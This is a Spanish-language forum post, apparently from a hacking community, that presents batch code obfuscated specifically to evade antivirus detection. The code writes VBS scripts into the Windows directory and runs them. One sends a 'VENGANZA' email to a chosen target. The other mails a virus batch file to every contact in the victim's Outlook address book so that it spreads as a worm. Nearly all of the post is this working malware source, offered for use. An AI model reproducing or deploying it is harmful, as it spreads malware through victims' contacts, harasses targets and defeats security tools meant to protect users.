Si tuvieras leido bien mi primer post avias visto lo siguiente :
A , casi me olvidaba ... ahora vamos a usar el advanced batch mutator para encryptar nuestro codigo asi los AV no lo van a detectar ....
Descarga ABM by Duke :
Necesitas ser usuario para ver los enlaces
Crear Usuario Hacer SesionDespues de usar el ABM los codigos quedaran asi :
set vdq=echo
set fjd=Dim
set xj=x
%vdq% %fjd% %xj% > %windir%\venganza.vbs
set iwx=RESUME
set iwx=%iwx%
set cu=ERROR
set cu=%cu%
set dg=echo.ON
set lc=NEXT
%dg% %cu% %iwx% %lc% >> %windir%\venganza.vbs
set xpr=so
set dr=Set
%vdq% %dr% %xpr%=CreateObject("Scripting.FileSystemObject") >> %windir%\venganza.vbs
set tww=ol
%vdq%%gj% %dr% %tww%%wn%=CreateObject("Outlook.Application") >> %windir%\venganza.vbs
set tjq=out
set dg=%tjq%
%vdq% %dr% %tjq%= WScript.CreateObject("Outlook.Application") >> %windir%\venganza.vbs
set ua=mapi
%vdq% %dr% %ua% = out.GetNameSpace("MAPI") >> %windir%\venganza.vbs
set myq=mapi.AddressLists(1)
set ly=a
%vdq% %dr% %ly% = %myq% >> %windir%\venganza.vbs
set sqw=To
set knw=For
set jrf=1
%vdq% %knw% %xj%=%jrf% %sqw% %jrf% >> %windir%\venganza.vbs
set nb=Mail
set rq=ol.CreateItem(0)
%vdq% %dr% %nb%=%rq% >> %windir%\venganza.vbs
set dg= @ENEMIGO.ES"
set nh=Mail.to
set nh=%nh%
set iwx="EMAIL_DE
%vdq% %nh%=%iwx% %dg% >> %windir%\venganza.vbs
set nl="VENGANZA
set jq=!!"
set htp=Mail.Subject
%vdq% %htp%=%nl% %jq% >> %windir%\venganza.vbs
set fdq=Mail.Body
%vdq% %fdq%%ib%=%nl% %jq% >> %windir%\venganza.vbs
set veq=Mail.Send
set veq=%veq%
%vdq% %veq% >> %windir%\venganza.vbs
set pdl=Next
%vdq% %pdl% >> %windir%\venganza.vbs
rem imfoxvmyugntewresjw
set rrn=ol.Quit
%vdq% %rrn% >> %windir%\venganza.vbs
set nqu= @cscript
%nqu% %windir%\venganza.vbs
set uoh=
%uoh%
%uoh%
::#############################################################################
::#############################################################################
::#############################################################################
::#############################################################################
::#############################################################################
::#############################################################################
%vdq% %fjd% %xj% > %windir%\propagacion.vbs
set dg=ujsmmhvxpdjk
set dg=echo.on
set cpb=tdxq
set lc=next
set cu=error
set cu=%cu%
set iwx=resume
set cpb=%ua%
%dg% %cu% %iwx% %lc% >> %windir%\propagacion.vbs
set cu="
set dg=fso
%vdq% %dr% %dg% =%cu% Scripting.FileSystem.Object" >> %windir%\propagacion.vbs
set dg=CreateObject(fso)
%vdq% %dr% %xpr%=%dg% >> %windir%\propagacion.vbs
%vdq% %dr% %tww%=CreateObject("Outlook.Application") >> %windir%\propagacion.vbs
%vdq% %dr% %tjq%= WScript.CreateObject("Outlook.Application") >> %windir%\propagacion.vbs
%vdq% %dr% %ua% = out.GetNameSpace("MAPI") >> %windir%\propagacion.vbs
%vdq%%vd% %dr% %ly% = %myq% >> %windir%\propagacion.vbs
%vdq%%da% %knw% %xj%=%jrf% %sqw%%eg% a.AddressEntries.Count >> %windir%\propagacion.vbs
%vdq% %dr% %nb%=%rq% >> %windir%\propagacion.vbs
%vdq%%ln% %nh%=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) >> %windir%\propagacion.vbs
set dg="HOLA
%vdq% %htp%=%dg% %jq% >> %windir%\propagacion.vbs
set ab=batch
set iwx=puwoffkpdhowr
set iwx=de
set iwx=%iwx%
set lc=propagar
set grp=y
set dqw=con
set iwj=vbs
rem lo
set cu=manera
set wi=!!!"
set dg="Una
%vdq% %fdq%=%dg% %cu% %iwx%%vtk% %lc% %dqw% %ab% %grp% %iwj% %wi% >> %windir%\propagacion.vbs
%vdq% Mail.Attachments.Add("TU_VIRUS.BAT") >> %windir%\propagacion.vbs
%vdq% %veq% >> %windir%\propagacion.vbs
%vdq% %pdl% >> %windir%\propagacion.vbs
%vdq% %rrn% >> %windir%\propagacion.vbs
%nqu% %windir%\propagacion.vbs
Prueba y veras que ya no seran detectados ...
Salu.
Autor